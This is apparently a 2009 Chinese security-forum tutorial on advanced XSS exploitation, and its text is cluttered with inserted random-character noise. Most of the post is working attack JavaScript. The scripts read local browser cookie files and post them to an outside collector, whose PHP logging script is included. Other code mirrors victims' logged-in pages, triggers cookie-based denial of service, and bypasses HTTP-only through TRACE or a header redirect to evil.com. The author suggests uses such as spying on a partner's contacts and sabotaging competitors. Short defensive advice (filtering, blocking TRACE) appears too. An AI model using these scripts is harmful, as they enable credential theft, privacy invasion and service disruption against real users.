XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 [+ ]% B9 b5 N( r/ S0 D A本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页8 s: J; b; `" S# W- J
By racle@tian6.com
4 P* I. |" A/ o( U$ H9 a7 {http://bbs.tian6.com/thread-12711-1-1.html/ }0 n8 F* D6 U3 i
转帖请保留版权- t9 L: Z0 l- }3 \2 ?
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0 Q: a6 {* l; M& u# S/ v) F-------------------------------------------前言---------------------------------------------------------) ~" v$ y! {6 D. s" N
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5 N5 g* U# m' f# U+ `' o( R本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.3 p1 Y9 q! L b$ w6 ]; t" F; P! }" Z
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# a$ L4 j$ P- g+ _9 W! d如果你还未具备基础XSS知识,以下几个文章建议拜读:1 D* f9 T# V0 v8 j% D X0 \3 m! U: B( Q
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介 L6 f1 p6 a3 S1 ~% C' O" \* S
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全- e/ C! A D1 y
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过7 t' b& Z. }; d2 S8 G
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF6 U1 ?- J! A" O" }' b: s
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码; H \+ E6 V9 p" A5 y! k
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持3 l& M' Z* y* n3 @/ E" o
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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: B0 ^5 h4 H( b8 W$ Y3 s希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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+ m( D9 v. X! G6 o. S2 ^0 T如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大$ C$ u5 _$ C U, o, _( o3 I
: E, \6 {, e5 M2 J0 K, O' SQQ ZONE,校内网XSS 感染过万QQ ZONE.
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪1 s2 i# j0 {1 C4 ?# F/ g( G& p
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..........
8 ]: c+ h4 z2 c U+ k1 @5 ?复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.4 I$ G6 i. L8 O* W4 X) c# g$ @
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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! ^! [/ O- `/ ~如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.& @# H+ P' _/ ]! l, J
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.0 ?, C1 G1 @) S* k/ ]
我们在这里重点探讨以下几个问题:: n0 f! I7 D6 j) U6 X/ H7 f
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1 通过XSS,我们能实现什么?. U) Q% {5 V: a# _7 l5 Z4 \
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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5 X I! [, m- C% S3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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4 G! i, C4 u2 V' G------------------------------------------研究正题----------------------------------------------------------: \2 x$ r @! ]: B: R- ~. L4 k% r
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
2 z% _2 r" X. w# B) B- _复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
3 K# {; ]9 {* w. {4 [( r复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1 P) P3 R8 l/ y) J, y$ _# `1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
3 s( O+ u2 P! k' h( m" _$ }5 Z2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.& g: y" e7 N% x& Z1 R, `) f) K; @: N
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.6 A( w/ b. Q! i* |7 k7 v3 Y- d8 U# u
4:Http-only可以采用作为COOKIES保护方式之一.! B! T+ {+ @; }- a
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, t% X2 \: \* ~2 h- Y/ ](I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.7 u+ ~4 J+ p' w. f0 R) f
复制代码IE6使用ajax读取本地文件 <script>
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% S; @% t1 a; l! | function ajax_obj(){
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var request = false;
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request = new XMLHttpRequest();
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8 F' y8 o4 g$ E* V* C9 O9 D& J! t } else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];3 B& D6 H3 M5 I9 t4 h6 Q( e
* _: B( G7 c X; q) F: ] for(var i=0; i<versions.length; i++) {4 w, Y1 W2 K% G0 `+ q8 [
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try {
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request = new ActiveXObject(versions);
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} catch(e) {}
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}
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return request;
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$ S" }7 }' Z: z9 J- @) _. p function _7or3(_m,action,argv){
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0 n+ G8 }) W6 M. |* q _x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");6 S+ a) b* b' P9 i! }
5 V5 h& I. D9 E/ ~5 n _x.send(argv);: t: w" P I. E6 Y( ~
! z& d( z/ R+ _4 Y8 k; B1 b return _x.responseText;: H) h$ F/ g" j
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}
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);5 O* l) h7 g. ?& r
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</script>
: S( F2 G0 ^# o* C7 O复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>( I5 \* G4 {, F( {' M, C
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function $(x){return document.getElementById(x)}
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function ajax_obj(){2 P4 j& ]' [$ Q7 L6 }$ S
! U! D1 [: y, b0 s4 u4 Q var request = false;9 }- }- C% j' t% c4 E
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();/ v2 V; D* p8 r% [9 {' s" c
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',' k' H& _1 H7 g5 T* o5 G
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {0 J Z8 Y8 [- N9 j# v7 a z, i
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request = new ActiveXObject(versions);* d* v }# d0 H
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} catch(e) {}% T6 j3 A0 w+ Z3 f
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}
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( q! f1 T6 j5 [! u return request;- N3 w7 f8 H: V& H: c+ b
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}
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function _7or3(_m,action,argv){! ~: N: k ~1 e6 r) z& d: B3 G( h$ Y
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_x.open(_m,action,false);3 v ] s+ {# @, L/ X% Q; l# J
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);5 V; ]0 _9 l* W4 l8 Q7 q
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);# j, M+ C5 F b" ?. Z, Z( L- b: O
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alert(txt);
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4 i' ~) E2 W3 Y. _. I </script>: X! r# I2 g4 h8 B7 ^
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”; L7 H. G4 Y" K& W
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<?
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net ; t4 z& i: }! ]5 U
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author voidloafer@gmail.com 2009-4-22 + R& W5 C5 H4 g0 c6 e$ q, ~
2 p4 w+ \' j3 K2 ` http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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, o9 M# s: _6 m/ f Z# fheader("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx"); & h3 r6 _* |. N4 O5 K6 U- k$ ^& K
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/*
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set header, so just download html file,and open it at local. 0 o u5 H a7 k3 ], J. A
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> * r, r- G# \) p) o: a& F. p
. h: @) B3 T( |$ I <input id="input" name="cookie" value="" type="hidden"> 1 P: K. B6 {) s. K( |: q% K1 s9 u
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</form>
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<script> ) t, N6 {# n2 D- q5 l
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function doMyAjax(user) & J9 b/ p8 p8 j
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{
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, S0 |6 U! Z' t+ x( Nvar time = Math.random();
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% I; b% N, q1 ^0 V- Q0 _/* * R7 {6 e# @+ d1 c+ x2 a
3 }+ R- t: v; j9 r/ ^" P9 Ythe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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6 Z" k# f5 t" `. Band the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History * M5 N' G% ^* F$ j8 T P' w( q
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and so on... 2 Y- c' p5 v4 s1 V1 n/ z: v
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% s: m3 Z; Z& L6 N' v1 p1 {var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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4 b+ r: Y5 I) @2 [1 T$ t6 k' \- c : E8 N. m- _* O
& B3 w5 P) b+ Y+ P2 Q/ K
startRequest(strPer); ' @3 Q6 Q8 i5 N' E% f
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4 f" }7 x# N* m+ p9 D J
}
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function Enshellcode(txt)
4 r4 Y3 c) _2 }8 m M' \5 \% A E3 h0 c! V
{ ; \* S9 ~4 N9 J
' T: @. w$ f3 E# z5 a4 ?2 avar url=new String(txt); % e S1 l0 n, F8 j) K+ e
" W5 q: C: a% n2 k' \6 l: _- Q8 vvar i=0,l=0,k=0,curl="";
$ C9 B; ~. F" t- r) R: ~( Y5 o4 d4 w# b6 y0 A- c
l= url.length; . N* ^1 E' y2 o
/ A; h- x" A# m, o5 A- jfor(;i<l;i++){ - d, w* y* k) o2 K3 X1 \
, }& s+ {8 Y8 B* r7 A
k=url.charCodeAt(i); : j$ r& `4 {5 m. v8 n; J
C5 A8 |. ]# ~3 X& ?5 p. |6 ?if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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if (l%2){curl+="00";}else{curl+="0000";}
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; ?% u" @7 c& H: i% Q; hcurl=curl.replace(/(..)(..)/g,"%u$2$1"); 5 R$ n( Q a; \0 j9 {& m% `$ c7 ]
1 c. d" p: p& freturn curl; # w. a& O$ m( O% s5 g# c$ Q
* `; h+ j* }" w. K+ r1 j( B6 ]# l}
% R9 n# U* {( |7 o
4 t, M6 M- R0 |, M* K' m1 }- P $ C M+ m4 j% u' M
+ f8 U: _! h5 O9 F; @
% t9 R+ Y- u: _
) O0 N+ y _% v5 S$ z4 J. j* r% }8 P9 rvar xmlHttp; ; O3 ^ `$ k; ^$ N& n, C
& v8 }- H0 L4 b* @% {6 Mfunction createXMLHttp(){ 6 i, f# j2 o% I5 ^/ S1 ?
H8 ~; b4 n6 n2 e
if(window.XMLHttpRequest){ 2 ~" m) i; I* r5 s
! D: x# {! m( a' B/ n/ m! O' }
xmlHttp = new XMLHttpRequest();
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} - }1 q$ i+ M" l+ r4 H
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else if(window.ActiveXObject){ 4 j- i( \/ [8 ^" M' r: S
3 l( W. B2 l; }: ExmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
- \, n! f. |* J0 v* O8 E' {/ j) S/ V* d: v
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}
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) @; v3 f, Q% O5 pfunction startRequest(doUrl){
: a$ ]4 [, W" X6 O5 R# w) h7 e b8 T' Z+ S8 \+ k
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8 Q" l7 F) d0 F createXMLHttp(); # P3 w8 w$ j+ i) p; J. r
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* F6 b% v9 h9 ?# ?% U; C' l9 U" W d% N" f0 m8 q/ u7 q
xmlHttp.onreadystatechange = handleStateChange; ' V5 m0 \& k: n( w _) z# q
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xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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}
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7 Y5 {9 N2 b/ N, p, @" h* ]. B6 \6 ]) q
function handleStateChange(){
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( x! u: ]: ^# } if (xmlHttp.readyState == 4 ){ 5 R5 E6 P' k) ?% B) Q6 S8 z- t
( H6 y" y0 ]& v0 a) P2 R var strResponse = ""; 0 I0 u8 Y0 _$ s2 K" C" o6 ^, f( H9 H
5 `1 ` r* E" M7 _# n7 L# f
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); - \$ j h, k8 m$ @, g
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}
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}
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' u( ^+ x0 |! O: y8 D & |2 {' h7 N0 i: A/ n2 O8 B
; P# ~; `9 {% U0 l6 w+ l+ u$ `, \7 ffunction framekxlzxPost(text)
+ X4 T% J2 N( f" f9 d* S. S/ n3 q2 k: T [* p, W7 a
{ 0 {* n; a. F! n- v4 F
$ r* t; ^8 R. h5 X F. z4 U/ I document.getElementById("input").value = Enshellcode(text);
+ ^7 {! \7 s3 z8 P1 z0 n: C" g+ D
/ t) p/ E5 m8 b* G document.getElementById("form").submit(); 0 v) I: G: s5 I" ^% v* l) o
9 _! {! F( j. }$ H6 U7 z0 U
} # J! V2 n+ G9 g4 Y
' z8 m% X% i' b* m0 | 0 A6 p$ d" g- `/ ]# Y* c( D
p( H3 e' [8 l5 ?6 o; m6 j `doMyAjax("administrator"); : f1 O2 K! Y! [7 w/ u# w
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8 P$ p3 q% b3 V0 i</script>
. b5 S/ \8 m& R2 @, P: Z复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
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0 M* S. L% v G0 t* v# Z4 hfunction createXMLHttp(){ ' {( z& F& H2 x" h/ J' w1 H
9 }8 \+ ?, M% G
if(window.XMLHttpRequest){ : K4 i7 N( e- x, T+ `, k0 C3 g! l
" I8 |7 G. H7 I8 C. C
xmlHttp = new XMLHttpRequest(); * b: m; O% Z3 p6 F4 Q# V. \) ~- @
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}
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else if(window.ActiveXObject){ % r {% d5 y3 ?6 L& v/ M
6 q% D" I; _% @ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ( C* H) o1 @3 ^- D1 h
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}
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1 V% |. i+ g) d6 s}
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: a g5 T, i' e9 x- Q7 b7 m
/ e: o1 [* D! ? ~1 L$ F/ X' l6 gfunction startRequest(doUrl){ / B* R+ @# r: T6 w
# Q; ]' {" T7 @5 @" v6 _ : ?/ p/ E) Q! L+ X
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createXMLHttp(); . U) @- e$ D. C5 e' U+ W
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& u3 k2 S, O. q- g! r xmlHttp.onreadystatechange = handleStateChange; $ ~- W- |0 Y/ G/ c; x$ v) o, e1 H
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xmlHttp.open("GET", doUrl, true); ( `6 B+ b/ K9 C) `8 R
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xmlHttp.send(null);
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+ X+ N" j3 `/ r: T4 a( V9 [' n}
9 S- l; |9 Q B
3 Y4 o9 Q! ?2 w+ O; M- C
0 o) y9 v4 i7 g
]" [! `$ Q0 Q9 Y; ffunction handleStateChange(){
3 }3 r7 f# r# ^4 `' n/ V
* L- m& v) i4 t* {& c' X, o if (xmlHttp.readyState == 4 ){ * d: o/ l3 |6 {5 C, B \. c
, l3 s. [& l* ^9 [2 p5 `4 N" R$ x var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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7 f% @- \4 ~- Q# \0 {( V% e2 U! g' V! ~9 H' i( f
}
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% c9 r) u H2 R4 q4 k
function doMyAjax(user,file) $ Z" X$ H. _. E$ h- W5 K
" c' |' i" `8 V0 Q
{
8 L2 s9 K7 w% ^4 ^$ [* u0 `) j9 ~$ ]
var time = Math.random(); ' @( S' \- z- ]5 h# |; q
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0 l" x2 S7 ~. `# u [" e( L/ P9 \5 |, F" p( |
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; * l2 A4 w* G. V5 F
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5 ~9 M3 S4 R4 A d; m
& m7 D8 }: t9 ` startRequest(strPer); 8 x' O4 C+ n! }- \6 F
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} : v& Z0 }% h' [) e
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7 U" Q3 `/ ]# I: q% v2 x7 ^- Y* [' N% w$ S2 h. A7 e
function framekxlzxPost(text) ! L: K7 k g0 R; d! q
+ E. x* \/ W; m5 g: F+ C{ % `" d( d# R5 X3 z/ h
/ K6 b k3 O1 l" ? document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); & h; b* l" ^/ n! E7 R6 W5 Y0 H
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alert(/ok/);
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} 8 \! X! Y4 d8 L8 Z6 y. e8 p
7 _- d3 {! ~9 a L7 E5 ~* t
- ^! E$ ?1 h8 ?3 K0 p. {
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doMyAjax('administrator','administrator@alibaba[1].txt');
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& l* i! W, l3 G3 K</script>
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+ K/ n" u2 d, K* X5 z4 H- v: A- H. {8 h0 k
a.php! J) ^ s% A; U$ U1 |9 i
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# _6 H& K$ S e<?php , @9 _: @ c% b/ ?" A8 i" G8 T
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
3 ~: s0 T- l; C3 W# B6 o: p
! @4 g: d2 [2 w5 s$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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9 D8 h* O+ p# ?* k
0 y9 a9 f, o+ p m% j. \( i X
9 [$ @) O: s4 }) Z$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]); 1 \) X3 S6 J+ m& E
; u! j2 T S1 R, Z. i$ `/ ]
fclose($fp); ; X! u( m' d7 B/ i+ ?: T
+ ~$ \0 p$ x5 O% [/ `8 a/ e* V
?>
3 n5 g* t% ~2 `) y/ j复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:" m5 `3 C# R6 B" H0 L
2 I! q# \+ B; Z$ c% B3 ^或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
, t0 I j/ ^8 q. U利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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, U; {- ~! c/ x1 @: ^9 q* H代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);: j! v( g) ]- y9 ^/ L; h y
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
& {1 M" _# Y7 x
3 F1 A' M1 Q* d& J. t- W//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);( F- J# R6 R% S
& c2 ]3 h" b6 e2 l! K3 K) `
function getURL(s) { z3 I" [9 C+ W1 ]4 l
: p0 K0 P5 E, x& M3 o3 }: Evar image = new Image();1 E( c; A+ ~3 ~( t
2 P' e+ \% h+ D8 zimage.style.width = 0;
# g h, l" i7 E. x- M) U a1 N1 ?% e) p; }9 |% k
image.style.height = 0;( [/ s( ^ G* ^) Y5 z
: u/ k4 ~& x% r+ yimage.src = s;
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}
8 q9 Q9 h9 W1 m$ M: E k+ W! e7 n& c) b) a: e$ p2 D
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
7 k0 i: ] `; ]0 F复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
4 g5 w9 Z% L4 P0 V1 [9 q( }这里引用大风的一段简单代码:<script language="javascript">! m6 {: s% U# p8 C7 h4 R4 u% p
+ ~" L: [1 w0 ]0 W2 a; r/ p
var metastr = "AAAAAAAAAA"; // 10 A
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; a7 K; a5 p( B( f2 o( p+ Svar str = "";4 d6 V5 ?! `, q. h
6 i+ {/ ^% ^4 [3 Z: zwhile (str.length < 4000){0 i- @6 } w7 I! U! t
' t5 Z& k& {( {7 |; K$ u
str += metastr;
$ `& M8 \2 o% D: i; w& h% @$ d( Y& j. Z, P
}
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS6 f* H$ _6 y2 I) M: c
6 U! K4 ^4 V x9 [2 T6 L</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html- g D( t5 Y* d
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.8 d3 c0 d2 y* _6 B# y! c, v
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150% [* }1 q; T5 t7 |0 C0 z$ _9 a
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
: \0 o, {) O" ~! [4 _) L攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:- f1 H0 n: ~0 l
# A u: M9 U) ^, C* S: V什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.2 p# t d% {; H, H6 @+ J& P# ?
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
/ q8 V, `/ V9 p
^+ O. T5 g& M+ ^<!--+ S0 g" q" V' m* H; b, q
6 T/ G$ C, A2 u9 r5 ~
function normalCookie() { 3 m+ F0 |* k' g
' B& |8 E" O3 jdocument.cookie = "TheCookieName=CookieValue_httpOnly";
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X% S1 W! z, C; H3 _alert(document.cookie);
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}
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: o% C( H h6 m4 I+ B; c( `% Q
I/ _& o8 N, r
; p- i; W1 f6 ~$ d9 e+ ]0 A8 yfunction httpOnlyCookie() {
[( p7 {& ?- |* j3 v7 N5 a Y) }% K5 h; Y% Y6 M" i
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; 5 R% x' T: A, V" b
% P+ z& }& V% j1 \
alert(document.cookie);}, l# G6 w! m) p. l" M- c! \
- v- n# R+ m6 {2 V* F
: [. R* G2 u6 {# j" e; v) y9 B/ Q- _% P& `+ ?& I
//-->
$ L/ N" L. I# L5 W7 j
9 J) Y. w, g6 [% l</script>
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7 g6 F6 M" m. R8 r
0 V$ \4 r. d6 M* O2 [8 r
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
( k5 ~. P8 P4 l& P) R. S! _$ E+ k# t* n" E* C% w
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
, n" N* o% p8 Z F6 i: s6 s复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
$ B9 k h% |) T
; q$ O8 C9 G/ @2 K" X1 e
; k5 U Y$ g+ [; C! }, I+ {
. Z" W7 w& U) {var request = false;2 V) V$ D- H$ ?( f- q) m
& \/ t' M: Q+ R) a& s& n* B if(window.XMLHttpRequest) {
! |4 w& b0 ~( g4 h) D, G' c; ^3 e
request = new XMLHttpRequest();
6 Z- x' @% n1 p( T' I$ L/ x& D( r' R3 H% Q3 v
if(request.overrideMimeType) {: k5 H% D7 v" {( @6 Q% p3 ^
+ U- D4 E( h- F, g- P+ l request.overrideMimeType('text/xml');
/ Q; Y( B4 M" i# v: b" u0 N4 o
O! F& e7 N x% W0 V% s }
9 R' [) N$ n* g5 W
' {( w. d- @9 T; {1 C9 m/ j } else if(window.ActiveXObject) {
1 u1 L {5 ?" Q G4 i: t% r s7 |5 n; @, O1 U7 i M+ Q! q# @8 E, ]
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ t& ^% t W4 Q0 x3 p5 h
/ T7 V k( G: N% l8 E for(var i=0; i<versions.length; i++) {5 M8 l U+ b) C6 z6 T3 }
5 Z" I) Z3 ^4 C0 \* w0 o
try {% y+ C8 @# ~$ p* q) _# x$ m
# v& P' T- v" C: n2 K# H' O request = new ActiveXObject(versions);; _; s; Y* Z$ g+ ~) G* Q4 Z1 R9 c5 d0 R
2 h& k( V0 k! B1 k8 z' t } catch(e) {}0 S J/ W' C3 q& A) V1 ~
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& [0 \5 i% L) ~9 t m3 x }
9 e$ n* _8 q9 t% E3 M# p, m' W$ Q* L/ z4 H
xmlHttp=request;. P' E1 d0 g8 p0 ?0 b! u
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xmlHttp.open("TRACE","http://www.vul.com",false);6 w) S1 R- R) h3 j
" `# M. r+ e5 }+ C% rxmlHttp.send(null); ^) A, q1 q/ f- W! ~" N* a, U
- l" H" M4 Z) u7 g& I1 d
xmlDoc=xmlHttp.responseText;5 m# w& o+ _" J+ m
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alert(xmlDoc);) f( J3 j9 U" h8 g2 E- ?
V# h9 o( V; p* f1 g; ?) I</script>
& C% D) r9 P% H; i' [0 l% d复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
3 x2 z- F. B4 O7 x- s2 L8 B3 k9 [' x) N4 r7 j7 x* Z$ S
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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/ E0 A' B& P3 G; Q. y: PXmlHttp.open("GET","http://www.google.com",false);) Q6 j; S% }" r2 r$ ~- G( U$ |
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");9 B! Q1 `- j4 q+ @
- y X( S2 N# t/ KXmlHttp.send(null);/ O6 y1 o6 f7 z3 m. R6 J- V4 `
5 C$ P; u4 {, @6 r7 L/ r, v+ _ ~var resource=xmlHttp.responseText
: d2 {$ ?5 a4 F4 h5 Z; e
# k' J3 {; O" k& a6 Y9 ]; qresource.search(/cookies/);
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......................
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3 z0 U" ]% e6 d3 O; c4 ]8 f$ w</script>+ o, C! {. @$ S4 i! {
: W. `" ~3 l" e; B- @: z
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: S7 p, z/ N0 n# s4 W0 K5 m* k% G4 w/ {7 F$ {( m
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求& I/ k/ R1 d# | f# x. z
, C: m, A6 j6 N6 s0 q& p2 A, U[code]
9 R. N: t9 x6 K8 T/ K. X
8 y* O% i) A4 D5 ~7 E& P! o J0 JRewriteEngine On
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RewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]& w! N' V$ F# U$ ? T; d
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4 i% g8 ] E& B, ?& z2 r7 R
3 x0 Y4 G% J2 y6 Y: F! K. a0 NSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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acl TRACE method TRACE
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...
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http_access deny TRACE
# }7 Q E; d0 p/ k. }复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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$ h- V2 o( c; f8 [var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");2 s. \8 }2 [6 }) z- C$ ?
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XmlHttp.open("GET","http://www.google.com",false);
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0 v: U; d+ l# ?$ o# J3 n' e3 oXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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8 x' M9 _& {& S) y5 s7 `: FXmlHttp.send(null);
